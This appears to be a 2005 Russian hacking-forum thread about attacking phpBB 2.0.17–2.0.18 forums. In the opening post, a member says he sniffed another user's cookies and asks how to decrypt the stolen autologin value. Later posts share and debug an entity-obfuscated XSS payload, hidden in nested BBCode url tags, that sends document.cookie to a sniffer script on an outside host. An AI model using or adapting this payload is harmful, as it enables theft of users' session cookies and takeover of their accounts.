Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Куки в phpbb 2.0.17 - 2.0.18 (https://forum.antichat.xyz/showthread.php?t=10757)

Manoz 14.11.2005 02:50

Куки в phpbb 2.0.17 - 2.0.18
 
Отснифал кукисы, могу зайти под юзером, но есть ли возможность расшифровать пароль?

a:2:{s:11:"autologinid";s:33:"15947019324377939477 62e4.02269531";s:6:"userid";i:1161;}

1594701932437793947762e4.02269531 - Это какой алгоритм шифрования, :confused: :confused:

Спасибо за помощь! ;)

Otaku 14.11.2005 07:15

Может это поможет?
http://www.webmastertools.narod.ru/O...rl_decode.html

Tikson 14.11.2005 11:14

спасибо мне тоже это надо было =)

Tem 14.11.2005 14:25

Да если не трудно, поставь весь код.

Polisos 14.11.2005 15:20

Цитата:

Сообщение от <<YaYaYa>>
Короче добрые люди! (Полисос, тебя не спрашиваю)
Помогите! Как провести XSS-атаку на форум phpbb 2.0.18??????

Используй поиск античата.

Tem 14.11.2005 15:23

Нет не ленивый , я всегда в поиске нового, пробывал XSS для этого, убрал все плюсики, но форум переобразует [url] в [eror_url], почему он так делает , некто мне до сех пор не объяснил, может ты сам объясниш?

Polisos 14.11.2005 15:25

Цитата:

Сообщение от Tem
Нет не ленивый , я всегда в поиске нового, пробывал XSS для этого, убрал все плюсики, но форум переобразует [url] в [eror_url], почему он так делает , некто мне до сех пор не объяснил, может ты сам объясниш?

Ну давай. Теги вообще на форуме работают та? Я и сам уберал, там всё работает значит ты что то не даубрал. Покажи что и как делаешь.

Polisos 14.11.2005 15:54

Код HTML:

[url]http://www.[url=http://wj.com/style=display:none;background&#58&#117&#114&#108&#40&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#100&#111&#99&#117&#109&#101&#110&#116&#46&#105&#109&#97&#103&#101&#115&#91&#49&#93&#46&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#97&#110&#116&#105&#99&#104&#97&#116&#46&#114&#117&#47&#99&#103&#105&#45&#98&#105&#110&#47&#115&#46&#106&#112&#103&#63&#34+document.cookie;&#41&#32]wj[/url][/url]
Ну так поможет? Подставь ; знак чтобы закрыть символ.

А вообще, преведи результат кода который ты постишь.

Я просто уже не знаю как его тут запостить, уже ведь и видео снял...и статью написал! :rolleyes:

Что ещё нужно?

Может народовский сайт создать а там в тексте мх

Tem 14.11.2005 15:57

Код HTML:

[url]http://www.[url=http://wj.com/style=display:none;background&+#58;&+#117;&+#114;&+#108;&+#40;&+#106;&+#97;&+#118;&+#97;&+#115;&+#99;&+#114;&+#105;&+#112;&+#116;&+#58;&+#100;&+#111;&+#99;&+#117;&+#109;&+#101;&+#110;&+#116;&+#46;&+#105;&+#109;&+#97;&+#103;&+#101;&+#115;&+#91;&+#49;&+#93;&+#46;&+#115;&+#114;&+#99;&+#61;&+#34;&+#104;&+#116;&+#116;&+#112;&+#58;&+#47;&+#47;&+#97;&+#110;&+#116;&+#105;&+#99;&+#104;&+#97;&+#116;&+#46;&+#114;&+#117;&+#47;&+#99;&+#103;&+#105;&+#45;&+#98;&+#105;&+#110;&+#47;&+#115;&+#46;&+#106;&+#112;&+#103;&+#63;&+#34;+document.cookie;&+#41;&+#32;]wj[/url][/url]
Я убераю все плюсики, но всё равно не пашет.

Polisos 14.11.2005 15:58

в html теги засунь.

Нет, результат в html засунь Я ведь не вижу если просто запостишь они просто на форуме сработают!

Покажи результат что ты делаешь, и засунь это всё так же в теги на античатовском форуме.

Работает только в ИЕ не забывай этого.


Время: 08:13